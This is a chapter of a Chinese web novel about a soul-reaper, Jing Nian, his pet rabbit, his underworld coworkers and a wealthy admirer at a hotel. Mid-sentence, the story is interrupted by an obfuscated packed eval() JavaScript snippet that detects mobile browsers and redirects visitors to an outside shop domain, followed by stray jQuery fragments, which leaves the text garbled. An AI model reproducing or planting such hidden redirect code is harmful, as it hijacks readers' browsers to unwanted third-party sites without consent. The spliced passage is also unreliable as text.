休完短短一天的假期,景念还得照旧揣着小兔上班。

    电梯停在负四百四十四层,门缓缓打开,一张放大版的恐怖鬼脸猛地贴到眼前。

    那是一个心怀不甘的怨魂,青面獠牙,眼眶里淌着黑色的血,张开血盆大口朝着景念扑过来,但身上的缚魂锁紧紧缠绕着,怎么挣都挣脱不开。

    绛玉不好意思地从怨魂后面探出头,“抱歉念念,最近魂太多地狱里面都满了,我还没来得及把它们关进去。”

    “没关系。”

    “有、关、系!!”

    景念没吓着,但趴在他肩上的小兔被吓得够呛,整只兔炸成一团毛球往衣服里钻。

    “吱!吓死小兔了!!”

    景念进了办公室,把小兔从肩上扯下来往桌上一扔,“绿茶兔,装什么柔弱,欺负野猫的本事呢。”

    小兔炸毛,“坏念念!”

    小兔一屁股坐在办公桌上赌气,景念没搭理,过了三分钟,就看见这小东西鬼鬼祟祟,一副随时准备开溜的架势。

    “今天哪儿都不准去。”

    阴恻恻的声音响起,“老实待着,我亲自盯着你,否则……”

    景念修长的手指拨弄了一下旁边挂着的擦手巾。

    又是擦手巾警告!

    小兔气呼呼鼓着脸,一头拱进属于自己的小窝里,只露出一个毛茸茸的屁股对着外面,浑身上下写满了不服。

    坏念念!

    小兔本来是景念养了陪自己工作的,结果倒好,成天上蹿下跳招猫逗狗,除了办公室和自己身边,哪里都能看见他的身影

    在窝里闷了没一会儿小兔就钻出来了,因为他闻到了糕点的香气,还有苜蓿草。

    有好吃的!

    办公室门被推开,炽拎着点心走进来,朗声道:“刚才出电梯遇上一个不长眼的怨魂往上扑。”

    他把点心放到景念桌上,“子怜今早刚做的,你尝尝。”

    景念歪了歪脑袋,“你不会把它打散了吧?”

    “我看绛玉有点应付不来,顺手帮他一把。”

    这就是楸槐把他俩赶出去勾魂的原因,两人身上都带着点暴力因子,放任不管的话,地府每天至少减少一个魂。

    不出半年,就得闹鬼口骤降危机了。

    这边小兔一头扎进零食袋子里,拱出一盒苜蓿草,两只小爪子期待搓了搓。

    景念鄙夷地看他一眼,“多大的老兔子了,还吃苜蓿草。”

    小兔哼哼着往嘴里炫,含糊不清反驳,“哼,要哩管辣么多……”

    勾魂是轮班制,今天景念当值,如果没有特殊情况,炽完全可以不用来。

    但景念离职前的每一天都是特殊情况。

    鬼使一共就三个,一个看魂两个勾魂,空出来一个位置来一时半会儿根本补不上,加上楸槐开不出高工资,景念一走,全部的担子自然而然落在了炽头上。

    炽绝望地摆弄着文件,“念念,昨天这个异常是你报上去的?”

    景念应了一声,“就在我们小区,不过我离职还有一个月,应该……能处理完?”

    “不着急。”

    异常就是一烫手山芋,得费心思查清楚,谁也不愿意多干活。

    目前进度在他们手下的鬼差出面调查,如果解决不了再由他们出马。

    “他不着急不行啊。”

    “以后全人间的勾魂工作都是炽的了。”

    贱兮兮的声音响起,楸槐大摇大摆走过来,拍了拍炽的肩膀,“让你成天缩家里谈恋爱,哪有我们念念是劳模!”

    炽转过头,眯起眼睛威胁,“楸槐,不尊重长辈可是要挨打的。”

    景念:……我?劳模?

    “睁眼说瞎话,楸槐你是不是有事要求我啊。”

    “你看,还是念念懂我!”楸槐白了炽一眼,扬起讨好的笑容凑到景念身边,“念念,不如你就别走了,一个月后咱再签一份新合同,我给你这家伙的双倍工资。”

    炽在一旁说风凉话,“三千双倍是六千,刚好够念念付房租的。”

    楸槐吱哇乱叫不乐意,“这工资还少?!这大环境,你不干有的是人干!”

    “要不是你赘给了父亲吃软饭,连三千的工作都找不到!”

    “哦。”炽面不改色,“那你就用三千的工资再招一个新员工就好了。”

    景念在一旁扇风点火,“炽哥说得有道理,反正我到时间就走人。”

    楸槐总是拿上面的就业情况来PUA下面的员工,可外面随意一个捉鬼的天师,赚的都比地府多。

    唯一的优点就是有编制,工资虽少,但稳定。

    楸槐垂头丧气,从怀里掏出一份魂魄资料递给景念,“今天重点勾这个,其他魂晚一点也没关系。”

    以前也经常有需要重点关注的魂,景念看了一眼就没太在意。

    直到他往嘴里塞了几块点心,收拾好东西准备出外勤查询地点的时候,才发现这个魂的所在地是上回楸槐带他去的那家酒店。

    小兔趴在他肩上看了一眼屏幕,耳朵抖了抖,“应该只是巧合吧?”

    …

    景念揣着一肚子怀疑到了酒店大厅。

    一眼就看见了这次的目标。

    那人满身戾气,十足的暴发户做派,喝得醉醺醺的,走路摇摇晃晃,经过景念身边时,肩膀重重撞了过来。

    他停下来眯着眼打量这个看起来气质阴郁,却长相极漂亮的青年,咧嘴露出一颗大金牙,脸上是恶心的笑容,“呦……小美人自己在这儿……想、想干嘛啊?”

    景念耷拉着嘴角,眼皮都懒得抬,“一会儿你就知道了。”

    经常有将死之人垂涎他的样貌,后果无一例外,死的时候跪得比谁都利索。

    “嘿,小美人还挺有脾

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558950|204515||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    气……”那人伸出手就要去摸景念的脸。

    然后摸了个空。

    他猛地定了定神,走廊上分明空无一人,方才那个漂亮的青年像凭空蒸发了一样。

    脑海中那双冰冷的眼睛一闪而过,明明没什么情绪,却莫名让他惊出一身冷汗。

    景念已经回到了大厅,休息区有免费的饮料供应,他过去找服务员点了一杯橙汁。

    还有不到二十分钟,刚才那个男人就会死于非命。

    等待的空隙,他窝进沙发里,闭着眼睛,有点困。

    倒不是累的,是昨晚被小兔拉着打了一整夜的游戏。

    小兔是个游戏迷,经常嫌他打得菜,每次都说如果不带念念自己早就拿到国服第一了。

    酒店大门被推开,高大俊朗的男人携着一身寒气大步走进来,身后跟着酒店店长笑容谄媚。

    “江董,没想到您今天又亲自过来……”

    江玦突然抬起手打断了他的话,视线落在大厅休息区,神色瞬间柔和下来。

    因为那边沙发上窝着一道熟悉的人影。

    景念靠在沙发里,眼睛闭着像是睡着了,又像是在单纯闭目养神。

    几缕碎发搭在额前。

    江玦看了片刻,转身找大厅服务员询问情况,然后在店长诧异的眼神中,亲自端着一杯橙汁朝休息区走过去。

    景念在有人靠近的一瞬间就睁开了眼睛。

    “景先生,你点的橙汁。”江玦在他身旁坐下,轻笑道。

    景念把杯子抱在手里暖着,“……谢谢。”

    不过怎么又是你?

    他注意到江玦手腕上的腕表。

    这个牌子他听说过,七位数。

    座机号码般的长度。

    一块腕表贵得能买他的命,不管是不是哪位金主送的,有钱人的世界还是太夸张了。

    这人长得再帅,也不是他能消费得起的。

    景念默默喝了一口橙汁压压惊。

    跟网购平台一个德行,买不起的东西为什么总让他刷到。

    点不起的模子为什么总让他遇到。

    江玦暂时没猜透他内心在想什么,也因此免了日后景念屁股上的一顿巴掌。

    “一直叫你景先生还是太生疏了。”他斟酌着开口,“我叫你阿念可以吗?”

    景念微微一愣,“阿念?”

    “他们都喜欢叫我念念。”

    阿念这个名字,在他的记忆中,只有顾烨寒会这么叫。

    因为他的襁褓中只携带了一块刻有“念”字的玉佩,而那时自己也还未寻到家人,没有姓,就这么阿念阿念的被叫着长大了。

    不过也只是一个名字而已,怎么称呼景念都不在意,默认了这个叫法。

    这时缩在怀里补觉的小兔听见声音,揉着眼睛钻了出来,露出一颗毛茸茸的小脑袋,正好撞上江玦的视线。